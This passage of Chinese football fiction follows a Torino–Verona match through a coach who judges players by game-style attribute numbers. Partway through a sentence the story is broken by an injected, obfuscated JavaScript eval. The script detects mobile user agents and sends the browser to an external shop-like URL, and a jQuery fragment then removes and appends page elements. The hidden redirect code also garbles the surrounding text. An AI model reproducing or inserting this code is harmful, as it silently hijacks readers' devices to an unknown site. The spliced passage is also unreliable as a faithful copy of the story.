第12分钟,维罗纳的组织型中场拿球,林奇对他的定义是大脑比他的身体快,但他的身体跟不上他的大脑。 都灵的中前卫立刻贴上去,他的工作投入挺高的,有16,这个球员他不介意做那些没有人愿意做的事情,比如追着一个拿球的人跑十五米然后把自己像一条湿毯子一样盖在对方身上。 靠近了,于是传球的人抬起手臂推了一把,没推动,然后就被迫转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485111|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身护球,把球回传给后防。 符合林奇脑子里的逻辑。 逼抢→压迫→回传→失误。 是好消息! 林奇眼睛亮亮地看着自己搭建的鲁布·戈德堡机械开始运转,第一个钢珠已经滚出去了,撞倒了第一块多米诺骨牌,骨牌推动了杠杆,杠杆释放了弹簧。现在他等着看弹簧能不能弹出锅里的那颗乒乓球,或者锅盖会不会在中途掉下来砸死猫——或者,在这个比喻里,砸死对手。 第14分钟,维罗纳的后腰拿球,他抬头的时机晚了一步——都灵队的中场已经压上来,切断了他往前的出球路线;同时,边翼卫还未完全退防,这让他往侧面的传球同样面临拦截的风险。 这个后腰的决断是7,决断7的人在这种时刻通常会选择最安全、最不需要思考的方案:回传给中卫,这是一种自我保护机制。决断低的人一旦处于不确定中就倾向于把球还给队友,这意味着下一次传过来的如果是坏球,他会更迟疑,而拦截的机会就出现在他迟疑的那一下——在游戏里这叫压迫下回传失误,但在现实中,这只是一个大脑被迫做出它不擅长做出的决定。 球滚向中卫。 巴罗尼已经启动了,维罗纳的中卫上前迎球,但巴罗尼更快,他抢在中卫之前捅到了球,球从维罗纳的防线缝隙中穿过——他用脚尖把球捅出去,球滚向维罗纳禁区左侧的空当。 那里没人……不!有人在跑!!!是提前给出去的球!!! 边锋追上了球,然后传中。 传中球不算完美。高度稍微高了一点,旋转也不够,但球到了禁区——到了巴罗尼所在的那个点。 巴罗尼迎球起脚推射,皮球朝球门飞去,然而角度没有拉开,维罗纳的门将已经提前向右侧移动了半步,球被他稳稳接住,抱在怀里。 哎呀……! 巴罗尼站在那里,双手撑着膝盖,然后他抬起头,朝边锋竖起了大拇指。 没进,但可以接受。 第23分钟,维罗纳的组织型中场再次拿球,这次都灵的贴身盯防来得更快。对方刚一接球,都灵的中场就从侧面靠上去,用身体的重量靠在对方身上,让他转不过身,让他只能看到自己半场方向。组织型中场试图用一次半转身摆脱,但动作刚做到一半就被另一侧补防过来的都灵球员卡住了前进路线,球在两双腿之间弹了一下,滚了出去。 不是一次干净的抢断,更像是某种公共交通事故:两辆正常行驶的车辆在十字路口互相礼让了太长的时间,然后第三辆车从旁边冲过去抢走了路权。 都灵断球了,巴罗尼正好站在这球滚出来的方向上。 巴罗尼接到球的位置在禁区弧顶偏右。他可以传给位置更好的格雷科,但他没有。 倒不是他自私——他看到了格雷科,也看到格雷科正在举手要球,他做出了一次完整的观察,然后按照自己的理解做出判断:射门。 如果球进了,他就是英雄;如果球没进——呃,就是没进。 好吧,那就是没办法,让格雷科自己向上帝祈祷吧,自己抢球去! 巴罗尼耸了耸肩。